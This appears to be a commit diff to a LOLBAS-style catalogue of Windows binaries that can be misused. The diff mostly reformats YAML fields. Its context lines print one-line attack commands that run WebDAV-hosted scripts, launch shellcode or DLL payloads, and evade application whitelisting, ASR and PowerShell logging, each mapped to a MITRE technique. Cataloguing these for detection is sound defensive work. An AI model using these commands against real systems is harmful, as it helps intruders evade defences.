Update scripts with new template. Fixed mgmt script for webportal. Adjustments to existing yml files

2025-07-26 12:12:31 +02:00 · 2018-09-26 11:41:58 +02:00
parent d48273583e
commit bac3b9e56c
38 changed files with 405 additions and 245 deletions
--- a/yml/OtherMSBinaries/Appvlp.yml
+++ b/yml/OtherMSBinaries/Appvlp.yml
@@ -7,7 +7,7 @@ Commands:
  - Command: AppVLP.exe \\webdav\calc.bat
    Usecase: Execution of BAT file hosted on Webdav server.
    Description: Executes calc.bat through AppVLP.exe
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
@@ -15,7 +15,7 @@ Commands:
  - Command: AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)"
    Usecase: Local execution of process bypassing Attack Surface Reduction (ASR).
    Description: Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
@@ -23,21 +23,23 @@ Commands:
  - Command: AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
    Usecase: Local execution of process bypassing Attack Surface Reduction (ASR).
    Description: Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows 10 w/Office 2016
 Full Path:
-  - C:\Program Files\Microsoft Office\root\client\appvlp.exe
-  - C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe
-Code Sample: []
-Detection: []
+  - Path: C:\Program Files\Microsoft Office\root\client\appvlp.exe
+  - Path: C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://github.com/MoooKitty/Code-Execution
-  - https://twitter.com/moo_hax/status/892388990686347264
-  - https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/
-  - https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/
+  - Link: https://github.com/MoooKitty/Code-Execution
+  - Link: https://twitter.com/moo_hax/status/892388990686347264
+  - Link: https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/
+  - Link: https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/
 Acknowledgement:
  - Person: fab
    Handle: '@0rbz_'
@@ -45,3 +47,4 @@ Acknowledgement:
    Handle: '@moo_hax'
  - Person: Matt Wilson
    Handle: '@enigma0x3'
+---
--- a/yml/OtherMSBinaries/Bginfo.yml
+++ b/yml/OtherMSBinaries/Bginfo.yml
@@ -29,13 +29,14 @@ Commands:
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
 Full Path:
-  - No fixed path
+  - Path: No fixed path
 Code Sample:
  - Code:
 Detection:
  - IOC:
 Resources:
-  - https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/
+  - Link: https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/
 Acknowledgement:
  - Person: Oddvar Moe
    Handle: '@oddvarmoe'
+---
--- a/yml/OtherMSBinaries/Cdb.yml
+++ b/yml/OtherMSBinaries/Cdb.yml
@@ -7,20 +7,23 @@ Commands:
  - Command: cdb.exe -cf x64_calc.wds -o notepad.exe
    Description: Launch 64-bit shellcode from the x64_calc.wds file using cdb.exe.
    Usecase: Local execution of assembly shellcode.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
 Full Path:
-  - C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe
-  - C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\cdb.exe
-Code Sample: []
-Detection: []
+  - Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe
+  - Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\cdb.exe
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
-  - https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options
-  - https://gist.github.com/mattifestation/94e2b0a9e3fe1ac0a433b5c3e6bd0bda
+  - Link: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
+  - Link: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options
+  - Link: https://gist.github.com/mattifestation/94e2b0a9e3fe1ac0a433b5c3e6bd0bda
 Acknoledgement:
  - Person: Matt Graeber
    Handle: '@mattifestation'
+---
--- a/yml/OtherMSBinaries/Csi.yml
+++ b/yml/OtherMSBinaries/Csi.yml
@@ -7,19 +7,22 @@ Commands:
  - Command: csi.exe file
    Description: Use csi.exe to run unsigned C# code.
    Usecase: Local execution of unsigned C# code.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
 Full Path:
-  - c:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\Roslyn\csi.exe
-  - c:\Program Files (x86)\Microsoft Web Tools\Packages\Microsoft.Net.Compilers.X.Y.Z\tools\csi.exe
-Code Sample: []
-Detection: []
+  - Path: c:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\Roslyn\csi.exe
+  - Path: c:\Program Files (x86)\Microsoft Web Tools\Packages\Microsoft.Net.Compilers.X.Y.Z\tools\csi.exe
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://twitter.com/subTee/status/781208810723549188
-  - https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
+  - Link: https://twitter.com/subTee/status/781208810723549188
+  - Link: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
 Acknowledgement:
  - Person: Casey Smith
    Handle: '@subtee'
+---
--- a/yml/OtherMSBinaries/Dnx.yml
+++ b/yml/OtherMSBinaries/Dnx.yml
@@ -7,18 +7,20 @@ Commands:
  - Command: dnx.exe consoleapp
    Description: Execute C# code located in the consoleapp folder via 'Program.cs' and 'Project.json' (Note - Requires dependencies)
    Usecase: Local execution of C# project stored in consoleapp folder.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
 Full Path:
-  - N/A
-Code Sample: []
-Detection: []
+  - Path: N/A
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
+  - Link: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
 Acknowledgement:
  - Person: Matt Nelson
    Handle: '@enigma0x3'
-
+---
--- a/yml/OtherMSBinaries/Dxcap.yml
+++ b/yml/OtherMSBinaries/Dxcap.yml
@@ -7,18 +7,21 @@ Commands:
  - Command: Dxcap.exe -c C:\Windows\System32\notepad.exe
    Description: Launch notepad as a subprocess of Dxcap.exe
    Usecase: Local execution of a process as a subprocess of Dxcap.exe
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
 Full Path:
-  - c:\Windows\System32\dxcap.exe
-  - c:\Windows\SysWOW64\dxcap.exe
-Code Sample: []
-Detection: []
+  - Path: C:\Windows\System32\dxcap.exe
+  - Path: C:\Windows\SysWOW64\dxcap.exe
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://twitter.com/harr0ey/status/992008180904419328
+  - Link: https://twitter.com/harr0ey/status/992008180904419328
 Acknowledgement:
  - Person: Matt harr0ey
    Handle: '@harr0ey'
+---
--- a/yml/OtherMSBinaries/Mftrace.yml
+++ b/yml/OtherMSBinaries/Mftrace.yml
@@ -7,7 +7,7 @@ Commands:
  - Command: Mftrace.exe cmd.exe
    Description: Launch cmd.exe as a subprocess of Mftrace.exe.
    Usecase: Local execution of cmd.exe as a subprocess of Mftrace.exe.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
@@ -15,20 +15,23 @@ Commands:
  - Command: Mftrace.exe powershell.exe
    Description: Launch cmd.exe as a subprocess of Mftrace.exe.
    Usecase: Local execution of powershell.exe as a subprocess of Mftrace.exe.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
 Full Path:
-  - C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x86
-  - C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x64
-  - C:\Program Files (x86)\Windows Kits\10\bin\x86
-  - C:\Program Files (x86)\Windows Kits\10\bin\x64
-Code Sample: []
-Detection: []
+  - Path: C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x86
+  - Path: C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x64
+  - Path: C:\Program Files (x86)\Windows Kits\10\bin\x86
+  - Path: C:\Program Files (x86)\Windows Kits\10\bin\x64
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://twitter.com/0rbz_/status/988911181422186496 (Currently not accessible)
+  - Link: https://twitter.com/0rbz_/status/988911181422186496
 Acknowledgement:
  - Person: fabrizio
    Handle: '@0rbz_'
+---
--- a/yml/OtherMSBinaries/Msdeploy.yml
+++ b/yml/OtherMSBinaries/Msdeploy.yml
@@ -7,17 +7,20 @@ Commands:
  - Command: msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="c:\temp\calc.bat"
    Description: Launch calc.bat via msdeploy.exe.
    Usecase: Local execution of batch file using msdeploy.exe.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
 Full Path:
-  - C:\Program Files (x86)\IIS\Microsoft Web Deploy V3\msdeploy.exe
-Code Sample: []
-Detection: []
+  - Path: C:\Program Files (x86)\IIS\Microsoft Web Deploy V3\msdeploy.exe
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://twitter.com/pabraeken/status/995837734379032576
+  - Link: https://twitter.com/pabraeken/status/995837734379032576
 Acknowledgement:
  - Person: Pierre-Alexandre Braeken
    Handle: '@pabraeken'
+---
--- a/yml/OtherMSBinaries/Msxsl.yml
+++ b/yml/OtherMSBinaries/Msxsl.yml
@@ -21,10 +21,15 @@ Commands:
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
 Full Path:
-  - ''
-Code Sample: []
-Detection: []
+  - Path:
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://twitter.com/subTee/status/877616321747271680
-  - https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker
-Notes: Thanks to Casey Smith - @subTee (Finding), 3gstudent - @3gstudent (Remote)
+  - Link: https://twitter.com/subTee/status/877616321747271680
+  - Link: https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker
+Acknowledgement:
+  - Person: Casey Smith
+    Handle: '@subtee'
+---
--- a/yml/OtherMSBinaries/Rcsi.yml
+++ b/yml/OtherMSBinaries/Rcsi.yml
@@ -12,11 +12,15 @@ Commands:
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
-Full Path: ''
-Code Sample: []
-Detection: []
+Full Path:
+  - Path:
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
+  - Link: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
 Acknowledgement:
  - Person: Matt Nelson
    Handle: '@enigma0x3'
+---
--- a/yml/OtherMSBinaries/Sqldumper.yml
+++ b/yml/OtherMSBinaries/Sqldumper.yml
@@ -21,14 +21,17 @@ Commands:
    MitreLink: https://attack.mitre.org/wiki/Technique/T1003
    OperatingSystem: Windows
 Full Path:
-  - C:\Program Files\Microsoft SQL Server\90\Shared\SQLDumper.exe
-  - C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis\AS OLEDB\140\SQLDumper.exe
-Code Sample: []
-Detection: []
+  - Path: C:\Program Files\Microsoft SQL Server\90\Shared\SQLDumper.exe
+  - Path: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis\AS OLEDB\140\SQLDumper.exe
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://twitter.com/countuponsec/status/910969424215232518
-  - https://twitter.com/countuponsec/status/910977826853068800
-  - https://support.microsoft.com/en-us/help/917825/how-to-use-the-sqldumper-exe-utility-to-generate-a-dump-file-in-sql-se
+  - Link: https://twitter.com/countuponsec/status/910969424215232518
+  - Link: https://twitter.com/countuponsec/status/910977826853068800
+  - Link: https://support.microsoft.com/en-us/help/917825/how-to-use-the-sqldumper-exe-utility-to-generate-a-dump-file-in-sql-se
 Acknowledgement:
  - Person: Luis Rocha
    Handle: '@countuponsec'
+---
--- a/yml/OtherMSBinaries/Sqlps.yml
+++ b/yml/OtherMSBinaries/Sqlps.yml
@@ -7,17 +7,20 @@ Commands:
  - Command: Sqlps.exe -noprofile
    Description: Drop into a SQL Server PowerShell console without Module and ScriptBlock Logging.
    Usecase: Execute PowerShell commands without ScriptBlock logging.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
 Full Path:
-  - C:\Program files (x86\Microsoft SQL Server\100\Tools\Binn\sqlps.exe
-Code Sample: []
-Detection: []
+  - Path: C:\Program files (x86\Microsoft SQL Server\100\Tools\Binn\sqlps.exe
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://twitter.com/bryon_/status/975835709587075072
+  - Link: https://twitter.com/bryon_/status/975835709587075072
 Acknowledgement:
  - Person: Bryon
    Handle: '@bryon_'
+---
--- a/yml/OtherMSBinaries/Sqltoolsps.yml
+++ b/yml/OtherMSBinaries/Sqltoolsps.yml
@@ -7,17 +7,20 @@ Commands:
  - Command: SQLToolsPS.exe -noprofile -command Start-Process calc.exe
    Description: Run PowerShell scripts and commands.
    Usecase: Execute PowerShell command.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
 Full Path:
-  - C:\Program files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe
-Code Sample: []
-Detection: []
+  - Path: C:\Program files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://twitter.com/pabraeken/status/993298228840992768
+  - Link: https://twitter.com/pabraeken/status/993298228840992768
 Acknowledgement:
  - Person: Pierre-Alexandre Braeken
    Handle: '@pabraeken'
+---
--- a/yml/OtherMSBinaries/Te.yml
+++ b/yml/OtherMSBinaries/Te.yml
@@ -7,16 +7,20 @@ Commands:
  - Command: te.exe bypass.wsc
    Description: Run COM Scriptlets (e.g. VBScript) by calling a Windows Script Component (WSC) file.
    Usecase: Execute Visual Basic script stored in local Windows Script Component file.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
-Full Path: ''
-Code Sample: []
-Detection: []
+Full Path:
+  - Path:
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://twitter.com/gn3mes1s/status/927680266390384640?lang=bg
+  - Link: https://twitter.com/gn3mes1s/status/927680266390384640?lang=bg
 Acknowlegement:
  - Person: Giuseppe N3mes1s
    Handle: '@gN3mes1s'
+---
--- a/yml/OtherMSBinaries/Tracker.yml
+++ b/yml/OtherMSBinaries/Tracker.yml
@@ -12,12 +12,16 @@ Commands:
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
-Full Path: ''
-Code Sample: []
-Detection: []
+Full Path:
+  - Path:
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://twitter.com/subTee/status/793151392185589760
-  - https://attack.mitre.org/wiki/Execution
+  - Link: https://twitter.com/subTee/status/793151392185589760
+  - Link: https://attack.mitre.org/wiki/Execution
 Acknowledgment:
  - Person: Casey Smith
    Handle: '@subTee'
+---
--- a/yml/OtherMSBinaries/Vsjitdebugger.yml
+++ b/yml/OtherMSBinaries/Vsjitdebugger.yml
@@ -1,23 +1,26 @@
 ---
 Name: vsjitdebugger.exe
-Description: Just-In-Time (JIT) debugger included with Visual Studio..
+Description: Just-In-Time (JIT) debugger included with Visual Studio
 Author: 'Oddvar Moe'
 Created: '2018-05-25'
 Commands:
  - Command: Vsjitdebugger.exe calc.exe
    Description: Executes calc.exe as a subprocess of Vsjitdebugger.exe.
    Usecase: Execution of local PE file as a subprocess of Vsjitdebugger.exe.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
 Full Path:
-  - c:\windows\system32\vsjitdebugger.exe
-Code Sample: []
-Detection: []
+  - Path: c:\windows\system32\vsjitdebugger.exe
+Code Sample:
+  - Code:
+Detection:
+  - IOC: 
 Resources:
-  - https://twitter.com/pabraeken/status/990758590020452353
+  - Link: https://twitter.com/pabraeken/status/990758590020452353
 Acknowledgement:
  - Person: Pierre-Alexandre Braeken
    Handle: '@pabraeken'
+---
--- a/yml/OtherMSBinaries/Winword.yml
+++ b/yml/OtherMSBinaries/Winword.yml
@@ -7,20 +7,23 @@ Commands:
  - Command: winword.exe /l dllfile.dll
    Description: Launch DLL payload.
    Usecase: Execute a locally stored DLL using winword.exe.
-    Category: Execution
+    Category: Execute
    Privileges: User
    MitreID: T1218
    MItreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows
 Full Path:
-  - c:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
-Code Sample: []
-Detection: []
+  - Path: c:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
+Code Sample:
+  - Code:
+Detection:
+  - IOC:
 Resources:
-  - https://twitter.com/vysecurity/status/884755482707210241
-  - https://twitter.com/Hexacorn/status/885258886428725250
+  - Link: https://twitter.com/vysecurity/status/884755482707210241
+  - Link: https://twitter.com/Hexacorn/status/885258886428725250
 Acknowledgement:
  - Person: Vincent Yiu (cmd)
    Handle: '@@vysecurity'
  - Person: Adam (Internals)
    Handle: '@Hexacorn'
+---